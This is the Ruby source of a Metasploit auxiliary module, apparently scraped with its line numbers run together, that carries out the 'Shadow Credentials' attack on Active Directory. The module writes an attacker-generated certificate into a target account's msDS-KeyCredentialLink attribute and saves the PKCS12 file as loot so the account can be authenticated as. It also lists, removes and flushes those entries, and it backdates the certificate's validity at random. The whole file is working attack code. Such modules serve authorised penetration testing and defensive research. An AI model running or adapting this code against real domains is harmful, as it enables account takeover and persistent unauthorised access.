Path: blob/master/modules/auxiliary/admin/ldap/shadow_credentials.rb
19721 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary67include Msf::Auxiliary::Report8include Msf::Exploit::Remote::LDAP::ActiveDirectory9include Msf::OptionalSession::LDAP1011ATTRIBUTE = 'msDS-KeyCredentialLink'.freeze1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Shadow Credentials',18'Description' => %q{19This module can read and write the necessary LDAP attributes to configure a particular account with a20Key Credential Link. This allows weaponising write access to a user account by adding a certificate21that can subsequently be used to authenticate. In order for this to succeed, the authenticated user22must have write access to the target object (the object specified in TARGET_USER).23},24'Author' => [25'Elad Shamir', # Original research26'smashery' # module author27],28'References' => [29['URL', 'https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab'],30['URL', 'https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/shadow-credentials']31],32'License' => MSF_LICENSE,33'Actions' => [34['FLUSH', { 'Description' => 'Delete all certificate entries' }],35['LIST', { 'Description' => 'Read all credentials associated with the account' }],36['REMOVE', { 'Description' => 'Remove matching certificate entries from the account object' }],37['ADD', { 'Description' => 'Add a credential to the account' }]38],39'DefaultAction' => 'LIST',40'Notes' => {41'Stability' => [],42'SideEffects' => [CONFIG_CHANGES], # REMOVE, FLUSH, ADD all make changes43'Reliability' => []44}45)46)4748register_options([49OptString.new('TARGET_USER', [ true, 'The target to write to' ]),50OptString.new('DEVICE_ID', [ false, 'The specific certificate ID to operate on' ], conditions: %w[ACTION == REMOVE]),51])52end5354def validate55super5657if action.name.casecmp?('REMOVE') && datastore['DEVICE_ID'].blank?58raise Msf::OptionValidateError.new({59'DEVICE_ID' => 'DEVICE_ID must be set when ACTION is REMOVE.'60})61end62end6364def fail_with_ldap_error(message)65ldap_result = @ldap.get_operation_result.table66return if ldap_result[:code] == 06768print_error(message)69if ldap_result[:code] == 1670fail_with(Failure::NotFound, 'The LDAP operation failed because the referenced attribute does not exist. Ensure you are targeting a domain controller running at least Server 2016.')71else72validate_query_result!(ldap_result)73end74end7576def warn_on_likely_user_error77ldap_result = @ldap.get_operation_result.table78if ldap_result[:code] == 5079if (datastore['LDAPUsername'] == datastore['TARGET_USER'] ||80datastore['LDAPUsername'] == datastore['TARGET_USER'] + '$') &&81datastore['LDAPUsername'].end_with?('$') &&82['add', 'remove'].include?(action.name.downcase)83print_warning('By default, computer accounts can only update their key credentials if no value already exists. If there is already a value present, you can remove it, and add your own, but any users relying on the existing credentials will not be able to authenticate until you replace the existing value(s).')84elsif datastore['LDAPUsername'] == datastore['TARGET_USER'] && !datastore['LDAPUsername'].end_with?('$')85print_warning('By default, only computer accounts can modify their own properties (not user accounts).')86end87end88end8990def get_target_account91target_account = datastore['TARGET_USER']92if target_account.blank?93fail_with(Failure::BadConfig, 'The TARGET_USER option must be specified for this action.')94end9596obj = adds_get_object_by_samaccountname(@ldap, target_account)97if obj.nil? && !target_account.end_with?('$')98obj = adds_get_object_by_samaccountname(@ldap, "#{target_account}$")99end100fail_with(Failure::NotFound, "Failed to find sAMAccountName: #{target_account}") unless obj101102obj103end104105def check106ldap_connect do |ldap|107validate_bind_success!(ldap)108109if (@base_dn = datastore['BASE_DN'])110print_status("User-specified base DN: #{@base_dn}")111else112print_status('Discovering base DN automatically')113114unless (@base_dn = ldap.base_dn)115print_warning("Couldn't discover base DN!")116end117end118@ldap = ldap119120obj = get_target_account121if obj.nil?122return Exploit::CheckCode::Unknown('Failed to find the specified object.')123end124125matcher = SecurityDescriptorMatcher::MultipleAll.new([126SecurityDescriptorMatcher::MultipleAny.new([127SecurityDescriptorMatcher::Allow.new(:WP, object_id: '5b47d60f-6090-40b2-9f37-2a4de88f3063'),128SecurityDescriptorMatcher::Allow.new(:WP)129]),130SecurityDescriptorMatcher::MultipleAny.new([131SecurityDescriptorMatcher::Allow.new(:RP, object_id: '5b47d60f-6090-40b2-9f37-2a4de88f3063'),132SecurityDescriptorMatcher::Allow.new(:RP)133])134])135136begin137unless adds_obj_grants_permissions?(@ldap, obj, matcher)138return Exploit::CheckCode::Safe('The object can not be written to.')139end140rescue RuntimeError141return Exploit::CheckCode::Unknown('Failed to check the permissions on the target object.')142end143144Exploit::CheckCode::Vulnerable('The object can be written to.')145end146end147148def run149ldap_connect do |ldap|150validate_bind_success!(ldap)151152if (@base_dn = datastore['BASE_DN'])153print_status("User-specified base DN: #{@base_dn}")154else155print_status('Discovering base DN automatically')156157if (@base_dn = ldap.base_dn)158print_status("#{ldap.peerinfo} Discovered base DN: #{@base_dn}")159else160print_warning("Couldn't discover base DN!")161end162end163@ldap = ldap164165begin166obj = get_target_account167168send("action_#{action.name.downcase}", obj)169rescue ::IOError => e170fail_with(Failure::UnexpectedReply, e.message)171end172end173rescue Errno::ECONNRESET174fail_with(Failure::Disconnected, 'The connection was reset.')175rescue Rex::ConnectionError => e176fail_with(Failure::Unreachable, e.message)177rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e178fail_with(Failure::NoAccess, e.message)179rescue Net::LDAP::Error => e180fail_with(Failure::Unknown, "#{e.class}: #{e.message}")181end182183def action_list(obj)184entries = obj[ATTRIBUTE]185if entries.nil? || entries.empty?186print_status("The #{ATTRIBUTE} field is empty.")187return188end189credential_entries = format_ldap_to_credentials(entries)190191print_status('Existing credentials:')192credential_entries.each do |credential|193print_status("DeviceID: #{credential.device_id} - Created #{credential.key_creation_time}")194end195end196197def action_remove(obj)198entries = obj[ATTRIBUTE]199if entries.nil? || entries.empty?200print_status("The #{ATTRIBUTE} field is empty. No changes are necessary.")201return202end203credential_entries = format_ldap_to_credentials(entries)204205length_before = credential_entries.length206credential_entries.delete_if { |entry| entry.device_id.to_s == datastore['DEVICE_ID'] }207if credential_entries.length == length_before208print_status('No matching entries found - check device ID')209else210update_list = format_credentials_to_ldap(credential_entries, obj.dn)211unless @ldap.replace_attribute(obj.dn, ATTRIBUTE, update_list)212warn_on_likely_user_error213fail_with_ldap_error("Failed to update the #{ATTRIBUTE} attribute.")214end215print_good("Deleted entry with device ID #{datastore['DEVICE_ID']}")216end217end218219def action_flush(obj)220entries = obj[ATTRIBUTE]221if entries.nil? || entries.empty?222print_status("The #{ATTRIBUTE} field is empty. No changes are necessary.")223return224end225226unless @ldap.delete_attribute(obj.dn, ATTRIBUTE)227fail_with_ldap_error("Failed to deleted the #{ATTRIBUTE} attribute.")228end229230print_good("Successfully deleted the #{ATTRIBUTE} attribute.")231end232233def action_add(obj)234entries = obj[ATTRIBUTE]235if entries.nil?236credential_entries = []237else238credential_entries = format_ldap_to_credentials(entries)239end240241key, cert = generate_key_and_cert(datastore['TARGET_USER'])242credential = Rex::Proto::MsAdts::KeyCredential.new243credential.set_key(key.public_key, Rex::Proto::MsAdts::KeyCredential::KEY_USAGE_NGC)244now = ::Time.now245credential.key_approximate_last_logon_time = now246credential.key_creation_time = now247credential_entries.append(credential)248update_list = format_credentials_to_ldap(credential_entries, obj.dn)249250unless @ldap.replace_attribute(obj.dn, ATTRIBUTE, update_list)251warn_on_likely_user_error252fail_with_ldap_error("Failed to update the #{ATTRIBUTE} attribute.")253end254255pkcs12 = OpenSSL::PKCS12.create('', '', key, cert)256store_cert(pkcs12)257258print_good("Successfully updated the #{ATTRIBUTE} attribute; certificate with device ID #{credential.device_id}")259end260261def store_cert(pkcs12)262service_data = ldap_service_data263credential_data = {264**service_data,265address: service_data[:host],266port: rport,267protocol: service_data[:proto],268service_name: service_data[:name],269workspace_id: myworkspace_id,270username: datastore['TARGET_USER'],271private_type: :pkcs12,272# pkcs12 is a binary format, but for persisting we Base64 encode it273private_data: Base64.strict_encode64(pkcs12.to_der),274origin_type: :service,275module_fullname: fullname276}277create_credential(credential_data)278279info = "#{datastore['LDAPDomain']}\\#{datastore['TARGET_USER']} Certificate"280stored_path = store_loot('windows.ad.cs', 'application/x-pkcs12', rhost, pkcs12.to_der, 'certificate.pfx', info)281print_status("Certificate stored at: #{stored_path}")282end283284def ldap_service_data285{286host: rhost,287port: rport,288proto: 'tcp',289name: 'ldap',290info: "Module: #{fullname}, #{datastore['LDAP::AUTH']} authentication"291}292end293294def format_credentials_to_ldap(entries, dn)295entries.map do |entry|296struct = entry.to_struct297dn_binary = Rex::Proto::LDAP::DnBinary.new(dn, struct.to_binary_s)298299dn_binary.encode300end301end302303def format_ldap_to_credentials(entries)304entries.map do |entry|305dn_binary = Rex::Proto::LDAP::DnBinary.decode(entry)306struct = Rex::Proto::MsAdts::MsAdtsKeyCredentialStruct.read(dn_binary.data)307Rex::Proto::MsAdts::KeyCredential.from_struct(struct)308end309end310311def generate_key_and_cert(subject)312key = OpenSSL::PKey::RSA.new(2048)313cert = OpenSSL::X509::Certificate.new314cert.public_key = key.public_key315cert.issuer = OpenSSL::X509::Name.new([['CN', subject]])316cert.subject = OpenSSL::X509::Name.new([['CN', subject]])317yr = 24 * 3600 * 365318cert.not_before = Time.at(Time.now.to_i - rand(yr * 3) - yr)319cert.not_after = Time.at(cert.not_before.to_i + (rand(4..9) * yr))320cert.sign(key, OpenSSL::Digest.new('SHA256'))321322[key, cert]323end324end325326327